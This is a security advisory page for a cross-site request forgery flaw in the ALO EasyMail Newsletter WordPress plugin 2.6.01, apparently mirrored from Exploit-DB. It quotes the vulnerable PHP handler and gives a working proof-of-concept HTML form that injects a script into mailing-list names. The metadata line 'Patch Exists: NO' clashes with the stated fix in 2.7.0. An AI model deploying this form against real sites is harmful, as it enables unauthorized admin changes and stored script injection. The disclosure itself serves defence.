Wordpress ALO EasyMail Newsletter plugin cross-site request forgery vulnerability

vendor:

ALO EasyMail Newsletter plugin

by:

Mohsen Lotfi

8,8

CVSS

HIGH

Cross-site request forgery

352

CWE

Product Name: ALO EasyMail Newsletter plugin

Affected Version From: 2.6.01

Affected Version To: 2.6.01

Patch Exists: NO

Related CWE: N/A

CPE: a:wordpress:alo_easymail_newsletter_plugin

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2016

WordPress ALO EasyMail Newsletter plugin cross-site request forgery vulnerability

The plugin contains a CSRF vulnerability, which can be exploited to perform a script insertion attack. A malicious user can craft a malicious link and send it to an administrator of the website. When the administrator clicks on the link, the malicious script will be inserted into the database.

Mitigation:

The best way to mitigate CSRF attacks is to use a combination of security measures such as input validation, output encoding, and token-based authentication.

Source

Exploit-DB raw data:

# Exploit Title: Wordpress ALO EasyMail Newsletter plugin cross-site request forgery vulnerability
# Software Link: https://wordpress.org/plugins/alo-easymail/
# Affected Version: 2.6.01
# Exploit Author: Mohsen Lotfi
# Contact: mohsen.lotfi.all@gmail.com
# Twitter: fox_one_fox_one
# Date: 01-16-2016

#####################
1. Description
#####################

The plugin contains a CSRF vulnerability, which can be exploited to perform a script insertion attack.

script insertion happens in wp-content/plugins/alo-easymail/pages/alo-easymail-admin-options.php : 

                case "save_list":	// SAVE a mailing list (add or update)
			if ( isset($_REQUEST['submit_list']) ) {
				//$list_name = stripslashes( trim( $_POST['elp_list_name'] ) );
				
				// List name	
				$list_name	= array();
				foreach ( $languages as $key => $lang ) {
					if (isset($_POST['listname_'.$lang]) )	$list_name[$lang] = stripslashes(trim($_POST['listname_'.$lang]));        /* script insertion here */
				}
				
				$list_available = stripslashes( trim( $_POST['elp_list_available'] ) );
				$list_order = stripslashes( trim( $_POST['elp_list_order'] ) );
				if ( $list_name && $list_available && is_numeric($list_order) ) {
					$mailinglists = alo_em_get_mailinglists ( 'hidden,admin,public' );
					if ( $list_id )  { // update
						$mailinglists [$list_id] = array ( "name" => $list_name, "available" => $list_available, "order" => $list_order );
					} else { // or add a new
						if ( empty($mailinglists) ) { // if 1st list, skip index 0
							$mailinglists [] = array ( "name" => "not-used", "available" => "deleted", "order" => "");
						}	
						$mailinglists [] = array ( "name" => $list_name, "available" => $list_available, "order" => $list_order);
					}
					if ( alo_em_save_mailinglists ( $mailinglists ) ) {
						unset ( $list_id );
						unset ( $list_name );
						unset ( $list_available );						
						unset ( $list_order );	
						echo '<div id="message" class="updated fade"><p>'. __("Updated", "alo-easymail") .'</p></div>';
					} else {
						echo '<div id="message" class="error"><p>'. __("Error during operation.", "alo-easymail") .'</p></div>';
					}
				} else {
					echo '<div id="message" class="error"><p>'. __("Inputs are incompled or wrong. Please check and try again.", "alo-easymail") .'</p></div>';
				}
			}	
			break;


#####################
2. Proof of Concept
#####################
 
Login as regular user then:
 
<form method="post" action="http://localhost/wordpress4.4/wp-admin/edit.php?post_type=newsletter&page=alo-easymail/pages/alo-easymail-admin-options.php">
    <input type="hidden" name="listname_en" value="<script>alert('xss')</script>">
    <input type="hidden" name="elp_list_available" value="hidden">
    <input type="hidden" name="elp_list_order" value="0">
    <input type="hidden" name="user_ID" value="1">
    <input type="hidden" name="task" value="save_list">
    <input type="hidden" name="list_id" value="">
    <input type="submit" name="submit_list" value="Trigger!">
</form>


#####################
3. Sulotion
#####################
   
Update to version 2.7.0
https://wordpress.org/plugins/alo-easymail/changelog/

#####################
4. Report Timeline
#####################

01-16-2016 : Vulnerability discovered.
01-25-2016 : Vendor notified of vulnerability.
02-07-2016 : Vendor replied and released fixed version.